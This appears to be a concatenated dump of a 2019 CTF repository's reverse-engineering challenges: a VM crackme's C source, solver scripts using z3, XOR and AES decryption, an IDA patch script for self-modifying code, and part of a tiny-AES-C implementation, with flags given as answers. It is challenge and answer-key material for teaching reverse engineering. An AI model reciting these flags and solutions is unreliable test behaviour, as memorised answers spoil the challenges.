0xf1,0xe2,0x5,0x0,0x0,0x0,#r2 = flag[5] 26 | 0xf2,#r1 = 0x12^r1^r2 27 | 0xf1,0xe4,0x4,0x0,0x0,0x0,#stack[4] = r1 28 | 29 | 0xf1,0xe1,0x5,0x0,0x0,0x0,#r1 = flag[5] 30 | 0xf1,0xe2,0x6,0x0,0x0,0x0,#r2 = flag[6] 31 | 0xf2,#r1 = 0x12^r1^r2 32 | 0xf1,0xe4,0x5,0x0,0x0,0x0,#stack[5] = r1 33 | 34 | 0xf1,0xe1,0x6,0x0,0x0,0x0,#r1 = flag[6] 35 | 0xf1,0xe2,0x7,0x0,0x0,0x0,#r2 = flag[7] 36 | 0xf1,0xe3,0x8,0x0,0x0,0x0,#r3 = flag[8] 37 | 0xf1,0xe5,0xC,0x0,0x0,0x0,#r4 = flag[12] 38 | 0xf6, #r1 = (3*r1+2*r2+r3) 39 | 0xf7, #r1 = r1*r4 40 | 0xf1,0xe4,0x6,0x0,0x0,0x0,#stack[6] = r1 41 | 42 | 0xf1,0xe1,0x7,0x0,0x0,0x0,#r1 = flag[7] 43 | 0xf1,0xe2,0x8,0x0,0x0,0x0,#r2 = flag[8] 44 | 0xf1,0xe3,0x9,0x0,0x0,0x0,#r3 = flag[9] 45 | 0xf1,0xe5,0xC,0x0,0x0,0x0,#r4 = flag[12] 46 | 0xf6, #r1 = (3*r1+2*r2+r3) 47 | 0xf7, #r1 = r1*r4 48 | 0xf1,0xe4,0x7,0x0,0x0,0x0,#stack[7] = r1 49 | 50 | 0xf1,0xe1,0x8,0x0,0x0,0x0,#r1 = flag[8] 51 | 0xf1,0xe2,0x9,0x0,0x0,0x0,#r2 = flag[9] 52 | 0xf1,0xe3,0xA,0x0,0x0,0x0,#r3 = flag[10] 53 | 0xf1,0xe5,0xC,0x0,0x0,0x0,#r4 = flag[12] 54 | 0xf6, #r1 = (3*r1+2*r2+r3) 55 | 0xf7, #r1 = r1*r4 56 | 0xf1,0xe4,0x8,0x0,0x0,0x0,#stack[8] = r1 57 | 58 | 0xf1,0xe1,0xD,0x0,0x0,0x0,#r1 = flag[13] 59 | 0xf1,0xe2,0x13,0x0,0x0,0x0,#r2 = flag[19] 60 | 0xf8,#r1 = r2,r2 = r1 61 | 0xf1,0xe4,0xD,0x0,0x0,0x0,#stack[13] = r1 62 | 0xf1,0xe7,0x13,0x0,0x0,0x0,#stack[19] = r2 63 | 64 | 0xf1,0xe1,0xE,0x0,0x0,0x0,#r1 = flag[14] 65 | 0xf1,0xe2,0x12,0x0,0x0,0x0,#r2 = flag[18] 66 | 0xf8,#r1 = r2,r2 = r1 67 | 0xf1,0xe4,0xE,0x0,0x0,0x0,#stack[14] = r1 68 | 0xf1,0xe7,0x12,0x0,0x0,0x0,#stack[18] = r2 69 | 70 | 0xf1,0xe1,0xF,0x0,0x0,0x0,#r1 = flag[15] 71 | 0xf1,0xe2,0x11,0x0,0x0,0x0,#r2 = flag[17] 72 | 0xf8,#r1 = r2,r2 = r1 73 | 0xf1,0xe4,0xF,0x0,0x0,0x0,#stack[15] = r1 74 | 0xf1,0xe7,0x11,0x0,0x0,0x0,#stack[17] = r2 75 | 0xf4#ret 76 | ] 77 | 78 | enc = [0x69, 0x45, 0x2a, 0x37, 0x9, 0x17, 0x6dc5, 0x5b0b, 0x705c, 0x72, 0x33, 0x76, 0x33, 0x21, 0x74, 0x31, 0x5f, 0x33, 0x73, 0x72] 79 | 80 | a=Int('a') 81 | b=Int('b') 82 | c=Int('c') 83 | solve((3*a+2*b+c)*0x33==0x6dc5,(3*b+2*c+0x72)*0x33==0x5b0b,(3*c+2*0x72+0x33)*0x33==0x705c) 84 | #[c = 95, b = 51, a = 118] 85 | 86 | flag = enc 87 | 88 | flag[6] = 118 89 | flag[7] = 51 90 | flag[8] = 95 91 | 92 | for i in range(6): 93 | flag[6-i-1] ^= flag[6-i] 94 | 95 | def exchange(i,j): 96 | temp = flag[i] 97 | flag[i] = flag[j] 98 | flag[j] = temp 99 | 100 | exchange(13,19) 101 | exchange(14,18) 102 | exchange(15,17) 103 | 104 | string = "" 105 | for i in flag: 106 | string += chr(i) 107 | print string -------------------------------------------------------------------------------- /wp/reverse/babyvm/source/babyvm.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | // flag: GWHT{Y0u_hav3_r3v3rs3_1t!} 6 | char *vm_stack; 7 | int len = 0; 8 | char enc[] = {0x69, 0x45, 0x2a, 0x37, 0x9, 0x17, 0x6dc5, 0x5b0b, 0x705c, 0x72, 0x33, 0x76, 0x33, 0x21, 0x74, 0x31, 0x5f, 0x33, 0x73, 0x72}; 9 | char enc_flag[] = {0x46, 0x7a, 0x7b, 0x61, 0x4d, 0x7b, 0x61, 0x4d, 0x7c, 0x7d, 0x66, 0x4d, 0x74, 0x7e, 0x73, 0x75, 0x4d, 0x20, 0x21, 0x21}; 10 | enum opcodes 11 | { 12 | MOV = 0xf1, 13 | XOR = 0xf2, 14 | RET = 0xf4, 15 | READ = 0xf5, 16 | ADD = 0xf6, 17 | MUL = 0xf7, 18 | EXCH = 0xf8, 19 | }; 20 | unsigned char vm_code[] = { 21 | 0xf5, 22 | 0xf1,0xe1,0x0,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x20,0x00,0x00,0x00, 23 | 0xf1,0xe1,0x1,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x21,0x00,0x00,0x00, 24 | 0xf1,0xe1,0x2,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x22,0x00,0x00,0x00, 25 | 0xf1,0xe1,0x3,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x23,0x00,0x00,0x00, 26 | 0xf1,0xe1,0x4,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x24,0x00,0x00,0x00, 27 | 0xf1,0xe1,0x5,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x25,0x00,0x00,0x00, 28 | 0xf1,0xe1,0x6,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x26,0x00,0x00,0x00, 29 | 0xf1,0xe1,0x7,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x27,0x00,0x00,0x00, 30 | 0xf1,0xe1,0x8,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x28,0x00,0x00,0x00, 31 | 0xf1,0xe1,0x9,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x29,0x00,0x00,0x00, 32 | 0xf1,0xe1,0xa,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x2a,0x00,0x00,0x00, 33 | 0xf1,0xe1,0xb,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x2b,0x00,0x00,0x00, 34 | 0xf1,0xe1,0xc,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x2c,0x00,0x00,0x00, 35 | 0xf1,0xe1,0xd,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x2d,0x00,0x00,0x00, 36 | 0xf1,0xe1,0xe,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x2e,0x00,0x00,0x00, 37 | 0xf1,0xe1,0xf,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x2f,0x00,0x00,0x00, 38 | 0xf1,0xe1,0x10,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x30,0x00,0x00,0x00, 39 | 0xf1,0xe1,0x11,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x31,0x00,0x00,0x00, 40 | 0xf1,0xe1,0x12,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x32,0x00,0x00,0x00, 41 | 0xf1,0xe1,0x13,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x33,0x00,0x00,0x00, 42 | 0xf4 43 | }; 44 | enum regist 45 | { 46 | R1 = 0xe1, 47 | R2 = 0xe2, 48 | R3 = 0xe3, 49 | R4 = 0xe5, 50 | }; 51 | 52 | typedef struct 53 | { 54 | unsigned char opcode; 55 | void (*handle)(void *); 56 | }vm_opcode; 57 | 58 | typedef struct 59 | { 60 | int r1; 61 | int r2; 62 | int r3; 63 | int r4; 64 | unsigned char *eip; 65 | vm_opcode op_list[7]; 66 | }vm_cpu; 67 | 68 | 69 | unsigned char true_vm_code[] = { 70 | 0xf5,//read(0,buf,0x20) 71 | 0xf1,0xe1,0x0,0x0,0x0,0x0,//r1 = flag[0] 72 | 0xf1,0xe2,0x1,0x0,0x0,0x0,//r2 = flag[1] 73 | 0xf2,//r1 = 0x12^r1^r2 74 | 0xf1,0xe4,0x0,0x0,0x0,0x0,//stack[0] = r1 75 | 76 | 0xf1,0xe1,0x1,0x0,0x0,0x0,//r1 = flag[1] 77 | 0xf1,0xe2,0x2,0x0,0x0,0x0,//r2 = flag[2] 78 | 0xf2,//r1 = 0x12^r1^r2 79 | 0xf1,0xe4,0x1,0x0,0x0,0x0,//stack[1] = r1 80 | 81 | 0xf1,0xe1,0x2,0x0,0x0,0x0,//r1 = flag[2] 82 | 0xf1,0xe2,0x3,0x0,0x0,0x0,//r2 = flag[3] 83 | 0xf2,//r1 = 0x12^r1^r2 84 | 0xf1,0xe4,0x2,0x0,0x0,0x0,//stack[2] = r1 85 | 86 | 0xf1,0xe1,0x3,0x0,0x0,0x0,//r1 = flag[3] 87 | 0xf1,0xe2,0x4,0x0,0x0,0x0,//r2 = flag[4] 88 | 0xf2,//r1 = 0x12^r1^r2 89 | 0xf1,0xe4,0x3,0x0,0x0,0x0,//stack[3] = r1 90 | 91 | 0xf1,0xe1,0x4,0x0,0x0,0x0,//r1 = flag[4] 92 | 0xf1,0xe2,0x5,0x0,0x0,0x0,//r2 = flag[5] 93 | 0xf2,//r1 = 0x12^r1^r2 94 | 0xf1,0xe4,0x4,0x0,0x0,0x0,//stack[4] = r1 95 | 96 | 0xf1,0xe1,0x5,0x0,0x0,0x0,//r1 = flag[5] 97 | 0xf1,0xe2,0x6,0x0,0x0,0x0,//r2 = flag[6] 98 | 0xf2,//r1 = 0x12^r1^r2 99 | 0xf1,0xe4,0x5,0x0,0x0,0x0,//stack[5] = r1 100 | 101 | 0xf1,0xe1,0x6,0x0,0x0,0x0,//r1 = flag[6] 102 | 0xf1,0xe2,0x7,0x0,0x0,0x0,//r2 = flag[7] 103 | 0xf1,0xe3,0x8,0x0,0x0,0x0,//r3 = flag[8] 104 | 0xf1,0xe5,0xC,0x0,0x0,0x0,//r4 = flag[12] 105 | 0xf6, //r1 = (3*r1+2*r2+r3) 106 | 0xf7, //r1 = r1*r4 107 | 0xf1,0xe4,0x6,0x0,0x0,0x0,//stack[6] = r1 108 | 109 | 0xf1,0xe1,0x7,0x0,0x0,0x0,//r1 = flag[7] 110 | 0xf1,0xe2,0x8,0x0,0x0,0x0,//r2 = flag[8] 111 | 0xf1,0xe3,0x9,0x0,0x0,0x0,//r3 = flag[9] 112 | 0xf1,0xe5,0xC,0x0,0x0,0x0,//r4 = flag[12] 113 | 0xf6, //r1 = (3*r1+2*r2+r3) 114 | 0xf7, //r1 = r1*r4 115 | 0xf1,0xe4,0x7,0x0,0x0,0x0,//stack[7] = r1 116 | 117 | 0xf1,0xe1,0x8,0x0,0x0,0x0,//r1 = flag[8] 118 | 0xf1,0xe2,0x9,0x0,0x0,0x0,//r2 = flag[9] 119 | 0xf1,0xe3,0xA,0x0,0x0,0x0,//r3 = flag[10] 120 | 0xf1,0xe5,0xC,0x0,0x0,0x0,//r4 = flag[12] 121 | 0xf6, //r1 = (3*r1+2*r2+r3) 122 | 0xf7, //r1 = r1*r4 123 | 0xf1,0xe4,0x8,0x0,0x0,0x0,//stack[8] = r1 124 | 125 | 0xf1,0xe1,0xD,0x0,0x0,0x0,//r1 = flag[13] 126 | 0xf1,0xe2,0x13,0x0,0x0,0x0,//r2 = flag[19] 127 | 0xf8,//r1 = r2,r2 = r1 128 | 0xf1,0xe4,0xD,0x0,0x0,0x0,//stack[13] = r1 129 | 0xf1,0xe7,0x13,0x0,0x0,0x0,//stack[19] = r2 130 | 131 | 0xf1,0xe1,0xE,0x0,0x0,0x0,//r1 = flag[14] 132 | 0xf1,0xe2,0x12,0x0,0x0,0x0,//r2 = flag[18] 133 | 0xf8,//r1 = r2,r2 = r1 134 | 0xf1,0xe4,0xE,0x0,0x0,0x0,//stack[14] = r1 135 | 0xf1,0xe7,0x12,0x0,0x0,0x0,//stack[18] = r2 136 | 137 | 0xf1,0xe1,0xF,0x0,0x0,0x0,//r1 = flag[15] 138 | 0xf1,0xe2,0x11,0x0,0x0,0x0,//r2 = flag[17] 139 | 0xf8,//r1 = r2,r2 = r1 140 | 0xf1,0xe4,0xF,0x0,0x0,0x0,//stack[15] = r1 141 | 0xf1,0xe7,0x11,0x0,0x0,0x0,//stack[17] = r2 142 | 0xf4//ret 143 | }; 144 | 145 | void mov(vm_cpu *cpu); 146 | void add(vm_cpu *cpu); 147 | void xor(vm_cpu *cpu); 148 | void read_(vm_cpu *cpu); 149 | void ret(vm_cpu *cpu); 150 | void mul(vm_cpu *cpu); 151 | void exch(vm_cpu *cpu); 152 | 153 | void exch(vm_cpu *cpu) 154 | { 155 | int temp1; 156 | temp1 = cpu->r1; 157 | cpu->r1 = cpu->r2; 158 | cpu->r2 = temp1; 159 | cpu->eip += 1; 160 | } 161 | 162 | void ret(vm_cpu *cpu) 163 | { 164 | cpu->eip += 1; 165 | return 0; 166 | } 167 | void add(vm_cpu *cpu) 168 | { 169 | cpu->r1 = 3*(cpu->r1) + 2*(cpu->r2) + cpu->r3; 170 | cpu->eip += 1; 171 | } 172 | void mul(vm_cpu *cpu) 173 | { 174 | cpu->r1 = cpu->r1*cpu->r4; 175 | cpu->eip += 1; 176 | } 177 | 178 | void xor(vm_cpu *cpu) 179 | { 180 | int temp; 181 | temp = cpu->r1^cpu->r2; 182 | cpu->r1 = temp; 183 | cpu->eip += 1; 184 | } 185 | 186 | void read_(vm_cpu *cpu) 187 | { 188 | char *dest = vm_stack; 189 | read(0,dest,0x20); 190 | len = strlen(dest); 191 | if(len!=21) 192 | { 193 | puts("WRONG!"); 194 | exit(0); 195 | } 196 | cpu->eip += 1; 197 | } 198 | 199 | void mov(vm_cpu *cpu) 200 | { 201 | //mov指令的参数都隐藏在字节码中,指令表示后的一个字节是寄存器标识,第二到第五是要mov的数据在vm_stack上的偏移 202 | unsigned char *res = cpu->eip + 1; 203 | int *offset = (int *)(cpu->eip + 2); 204 | char *dest = 0; 205 | dest = vm_stack; 206 | switch(*res){ 207 | 208 | case 0xe1: 209 | cpu->r1 = *(dest + *offset); 210 | break; 211 | case 0xe2: 212 | cpu->r2 = *(dest + *offset); 213 | break; 214 | case 0xe3: 215 | cpu->r3 = *(dest + *offset); 216 | break; 217 | case 0xe5: 218 | cpu->r4 = *(dest + *offset); 219 | break; 220 | case 0xe4: 221 | { 222 | int x; 223 | x = cpu->r1; 224 | *(dest + *offset) = x; 225 | break; 226 | } 227 | case 0xe7: 228 | { 229 | int y; 230 | y = cpu->r2; 231 | *(dest + *offset) = y; 232 | break; 233 | } 234 | 235 | } 236 | cpu->eip += 6;//control by ourselves 237 | } 238 | 239 | void vm_init(vm_cpu *cpu) 240 | { 241 | cpu->r1 = 0; 242 | cpu->r2 = 0x12; 243 | cpu->r3 = 0; 244 | cpu->r4 = 0; 245 | cpu->eip = (unsigned char *)vm_code; 246 | cpu->op_list[0].opcode = 0xf1; 247 | cpu->op_list[0].handle = (void (*)(void *))mov; 248 | 249 | cpu->op_list[1].opcode = 0xf2; 250 | cpu->op_list[1].handle = (void (*)(void *))xor; 251 | 252 | cpu->op_list[2].opcode = 0xf5; 253 | cpu->op_list[2].handle = (void (*)(void *))read_; 254 | 255 | cpu->op_list[3].opcode = 0xf4; 256 | cpu->op_list[3].handle = (void (*)(void *))ret; 257 | 258 | cpu->op_list[4].opcode = 0xf7; 259 | cpu->op_list[4].handle = (void (*)(void *))mul; 260 | 261 | cpu->op_list[5].opcode = 0xf8; 262 | cpu->op_list[5].handle = (void (*)(void *))exch; 263 | 264 | cpu->op_list[6].opcode = 0xf6; 265 | cpu->op_list[6].handle = (void (*)(void *))add; 266 | 267 | vm_stack = malloc(0x512); 268 | memset(vm_stack,0,0x512); 269 | } 270 | 271 | void vm_start(vm_cpu *cpu) 272 | { 273 | cpu->eip = (unsigned char*)vm_code; 274 | while (*cpu->eip!=RET) 275 | { 276 | vm_dispatcher(cpu); 277 | } 278 | } 279 | 280 | void vm_dispatcher(vm_cpu *cpu) 281 | { 282 | int i = 0; 283 | while (1) 284 | { 285 | if(*cpu->eip == cpu->op_list[i].opcode) 286 | { 287 | cpu->op_list[i].handle(cpu); 288 | break; 289 | } 290 | else 291 | { 292 | i += 1; 293 | } 294 | } 295 | } 296 | void check2() 297 | { 298 | int i; 299 | char *target = vm_stack; 300 | for(i = 0; i < len - 1; i++) 301 | { 302 | if((char)target[i] != enc[i]) 303 | { 304 | exit(0); 305 | } 306 | } 307 | } 308 | 309 | void check() 310 | { 311 | int i; 312 | char *target = vm_stack; 313 | for(i = 0; i < len - 1; i++) 314 | { 315 | if((char)target[i+0x20] != enc_flag[i]) 316 | { 317 | puts("WRONG!"); 318 | exit(0); 319 | } 320 | } 321 | puts("Congratulation?"); 322 | puts("tips: input is the start"); 323 | } 324 | 325 | int main(int argc, char const *argv[]) 326 | { 327 | vm_cpu *cpu = {0}; 328 | puts("Please input something:"); 329 | vm_init(&cpu); 330 | vm_start(&cpu); 331 | check(); 332 | puts("And the flag is GWHT{true flag}"); 333 | exit(0); 334 | } 335 | 336 | -------------------------------------------------------------------------------- /wp/reverse/pyre/README.md: -------------------------------------------------------------------------------- 1 | ### 一、pyre 2 | 3 | 逆向签到题,一个求余,一个异或加密,直接逆即可。 4 | 5 | ```python 6 | a = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13'] 7 | l = len(a) 8 | print l 9 | a = map(ord,a) 10 | for i in range(l-1,0,-1): 11 | a[i-1] = a[i-1]^a[i] 12 | code = '' 13 | for i in range(l): 14 | num = (a[i]-i) % 128 15 | code += chr(num) 16 | print code 17 | ``` 18 | 19 | -------------------------------------------------------------------------------- /wp/reverse/pyre/bin/encode.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/reverse/pyre/bin/encode.pyc -------------------------------------------------------------------------------- /wp/reverse/pyre/exp/decode.py: -------------------------------------------------------------------------------- 1 | a = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13'] 2 | l = len(a) 3 | print l 4 | a = map(ord,a) 5 | for i in range(l-1,0,-1): 6 | a[i-1] = a[i-1]^a[i] 7 | code = '' 8 | for i in range(l): 9 | num = (a[i]-i) % 128 10 | code += chr(num) 11 | print code -------------------------------------------------------------------------------- /wp/reverse/pyre/source/encode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | # print "Welcome to Re World!" 4 | # print "Your input1 is your flag~" 5 | input1 = "GWHT{Just_Re_1s_Ha66y!}" 6 | #input1 = " flag{924a9ab2163d390410d0a1f670} 5 | 6 | 设计思路: 7 | 8 | 首先有一个运行时自修改代码,SMC,异或0x99,在IDA中patch即可: 9 | 10 | ```python 11 | ads = 0x402219 12 | end = 0x4022F8 13 | while ads <= end: 14 | patch_byte(ads, get_byte(ads)^0x99) 15 | ads += 1 16 | print "OK" 17 | ``` 18 | 19 | 随后分析得到judge函数实现AES ECB模式。 20 | 21 | 密文在data段中,而key不得而知,向上分析,看到使用md5的几个函数,这里将一些数据进行了digest,最终获得key,其实这里调试也可以获得key。 22 | 23 | 最终: 24 | 25 | ```python 26 | from Crypto.Cipher import AES 27 | cipher = [0xBC, 0x0A, 0xAD, 0xC0, 0x14, 0x7C, 0x5E, 0xCC, 0xE0, 0xB1, 0x40, 0xBC, 0x9C, 0x51, 0xD5, 0x2B, 0x46, 0xB2, 0xB9, 0x43, 0x4D, 0xE5, 0x32, 0x4B, 0xAD, 0x7F, 0xB4, 0xB3, 0x9C, 0xDB, 0x4B, 0x5B] 28 | key = [0xcb, 0x8d, 0x49, 0x35, 0x21, 0xb4, 0x7a, 0x4c, 0xc1, 0xae, 0x7e, 0x62, 0x22, 0x92, 0x66, 0xce] 29 | cipher = bytes(cipher) 30 | key = bytes(key) 31 | 32 | aes = AES.new(key, mode=AES.MODE_ECB) 33 | flag = aes.decrypt(cipher) 34 | print(flag) 35 | # flag{924a9ab2163d390410d0a1f670} 36 | ``` -------------------------------------------------------------------------------- /wp/reverse/re3/bin/re: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/reverse/re3/bin/re -------------------------------------------------------------------------------- /wp/reverse/re3/source/aes.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode. 4 | Block size can be chosen in aes.h - available choices are AES128, AES192, AES256. 5 | 6 | The implementation is verified against the test vectors in: 7 | National Institute of Standards and Technology Special Publication 800-38A 2001 ED 8 | 9 | ECB-AES128 10 | ---------- 11 | 12 | plain-text: 13 | 6bc1bee22e409f96e93d7e117393172a 14 | ae2d8a571e03ac9c9eb76fac45af8e51 15 | 30c81c46a35ce411e5fbc1191a0a52ef 16 | f69f2445df4f9b17ad2b417be66c3710 17 | 18 | key: 19 | 2b7e151628aed2a6abf7158809cf4f3c 20 | 21 | resulting cipher 22 | 3ad77bb40d7a3660a89ecaf32466ef97 23 | f5d3d58503b9699de785895a96fdbaaf 24 | 43b1cd7f598ece23881b00e3ed030688 25 | 7b0c785e27e8ad3f8223207104725dd4 26 | 27 | 28 | NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0) 29 | You should pad the end of the string with zeros if this is not the case. 30 | For AES192/256 the key size is proportionally larger. 31 | 32 | */ 33 | 34 | 35 | /*****************************************************************************/ 36 | /* Includes: */ 37 | /*****************************************************************************/ 38 | #include 39 | #include // CBC mode, for memset 40 | #include "aes.h" 41 | 42 | /*****************************************************************************/ 43 | /* Defines: */ 44 | /*****************************************************************************/ 45 | // The number of columns comprising a state in AES. This is a constant in AES. Value=4 46 | #define Nb 4 47 | 48 | #if defined(AES256) && (AES256 == 1) 49 | #define Nk 8 50 | #define Nr 14 51 | #elif defined(AES192) && (AES192 == 1) 52 | #define Nk 6 53 | #define Nr 12 54 | #else 55 | #define Nk 4 // The number of 32 bit words in a key. 56 | #define Nr 10 // The number of rounds in AES Cipher. 57 | #endif 58 | 59 | // jcallan@github points out that declaring Multiply as a function 60 | // reduces code size considerably with the Keil ARM compiler. 61 | // See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3 62 | #ifndef MULTIPLY_AS_A_FUNCTION 63 | #define MULTIPLY_AS_A_FUNCTION 0 64 | #endif 65 | 66 | 67 | 68 | 69 | /*****************************************************************************/ 70 | /* Private variables: */ 71 | /*****************************************************************************/ 72 | // state - array holding the intermediate results during decryption. 73 | typedef uint8_t state_t[4][4]; 74 | 75 | 76 | 77 | // The lookup-tables are marked const so they can be placed in read-only storage instead of RAM 78 | // The numbers below can be computed dynamically trading ROM for RAM - 79 | // This can be useful in (embedded) bootloader applications, where ROM is often limited. 80 | static const uint8_t sbox[256] = { 81 | //0 1 2 3 4 5 6 7 8 9 A B C D E F 82 | 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 83 | 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 84 | 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 85 | 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 86 | 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 87 | 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 88 | 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 89 | 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 90 | 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 91 | 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 92 | 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 93 | 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 94 | 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 95 | 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 96 | 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 97 | 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; 98 | 99 | static const uint8_t rsbox[256] = { 100 | 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 101 | 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 102 | 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 103 | 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 104 | 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 105 | 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 106 | 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 107 | 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 108 | 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 109 | 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 110 | 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 111 | 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 112 | 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 113 | 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 114 | 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 115 | 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d }; 116 | 117 | // The round constant word array, Rcon[i], contains the values given by 118 | // x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8) 119 | static const uint8_t Rcon[11] = { 120 | 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 